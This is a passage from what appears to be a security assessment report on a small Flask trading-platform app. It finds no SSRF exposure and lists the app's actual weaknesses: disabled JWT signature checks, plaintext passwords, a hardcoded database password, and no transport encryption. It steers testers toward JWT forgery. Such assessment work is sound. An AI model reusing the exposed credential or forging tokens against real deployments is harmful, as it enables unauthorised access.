- Generates tokens locally using a hardcoded secret key
- Validates tokens locally (with signature verification disabled)
- Does not fetch JWKS from remote servers
- Does not implement OAuth/OIDC token exchange
- Does not discover identity providers

**Conclusion:** JWT is used for local authentication only, not for federated identity. No remote key fetching or identity provider discovery occurs.

---

#### 10. Importers & Data Loaders - NOT FOUND

**Search Conducted:**
- Searched for "import from URL" features
- Checked for CSV/JSON/XML remote file loaders
- Looked for RSS/Atom feed readers
- Analyzed for remote configuration fetching

**Result:** No data import functionality. The application does not load data from remote sources. Database seeding occurs during application startup with hardcoded values, not from external data sources.

---

#### 11. Package/Plugin/Theme Installers - NOT FOUND

**Search Conducted:**
- Searched for "install from URL" features
- Checked for package downloaders or update mechanisms
- Looked for plugin installation systems
- Analyzed for dependency resolution with external repos

**Result:** No package installation, plugin systems, or theme management. The application has a fixed feature set with no extensibility mechanisms.

---

#### 12. Monitoring & Health Check Frameworks - NOT FOUND

**Search Conducted:**
- Searched for URL pingers or uptime checkers
- Checked for health check endpoints that make outbound requests
- Looked for alerting webhook senders
- Analyzed for monitoring probe systems

**Analysis:**
Docker Compose includes a health check for the application:
```yaml
healthcheck:
  test: ["CMD", "curl", "-f", "http://localhost:80/"]
```

However, this health check:
- Runs **inside the container** (not accessible via HTTP)
- Checks the **local application** (localhost:80)
- Is executed by Docker, not the application code
- Does not accept user input or make requests to external URLs

**Conclusion:** The health check is infrastructure-level and not an SSRF vector. The application itself does not implement health checking or monitoring that makes outbound requests.

---

#### 13. Cloud Metadata Helpers - NOT FOUND

**Search Conducted:**
- Searched for AWS/GCP/Azure SDK imports
- Checked for instance metadata API calls (169.254.169.254)
- Looked for cloud service discovery mechanisms
- Analyzed for container orchestration API clients

**Result:** No cloud provider SDK usage. The application does not interact with cloud metadata services, instance metadata APIs, or container orchestration platforms. It runs as a standalone Docker Compose application without cloud-specific integrations.

---

### Network Request Pattern Summary

**All Network Requests Made by Application:**

1. **Inbound HTTP Requests (port 80):**
   - Client → Apache → Flask application
   - User requests to `/`, `/password/<username>`, `/dashboard`, `/logout`, `/static/<path>`

2. **Database Connections:**
   - Flask → MySQL (internal Docker network, port 3306)
   - Connection string: `mysql+pymysql://root:trading_platform_db_pass@db/database`
   - Uses SQLAlchemy connection pooling
   - **User input does NOT influence database connection parameters**

3. **No Outbound HTTP Requests:**
   - Application does not initiate HTTP/HTTPS requests to external services
   - No API integrations, webhook calls, or external data fetching

**User Input Impact on Network Behavior:**
- User input affects **database queries only** (SQLAlchemy ORM)
- User input does **NOT** affect:
  - HTTP client destinations
  - File paths
  - Network socket connections
  - Redirect URLs (all internal via `url_for()`)
  - Any outbound network requests

---

### SSRF Security Posture

**Verdict: SECURE AGAINST SSRF**

The application's limited feature set and lack of outbound HTTP capabilities result in **zero SSRF attack surface**. The primary security vulnerabilities in this application are:
1. JWT signature verification bypass (authentication bypass)
2. Plaintext password storage (credential exposure)
3. Hardcoded secrets (session/token forgery)
4. Missing transport encryption (data interception)

SSRF is not a relevant attack vector for this application. Penetration testers should focus on authentication bypass, privilege escalation, and data extraction via the JWT forgery vulnerability rather than attempting SSRF attacks.

---

### Recommendations

1. **Maintain Secure Design:** If outbound HTTP features are added in the future (webhooks, integrations, data imports), implement strict URL validation, allowlists, and use separate network segments for external requests.

2. **Monitor Dependencies:** If future versions add HTTP client libraries (requests, urllib3), ensure all outbound requests use validated, non-user-controlled URLs or strict input validation with allowlists.

3. **Network Segmentation:** The current Docker network isolation (database not exposed externally) should be maintained to prevent lateral movement if SSRF vulnerabilities are introduced.

---

**CONCLUSION:** This application has **NO SSRF VULNERABILITIES** due to the complete absence of outbound HTTP request functionality. The attack surface is limited to authentication bypass, authorization flaws, and data security issues.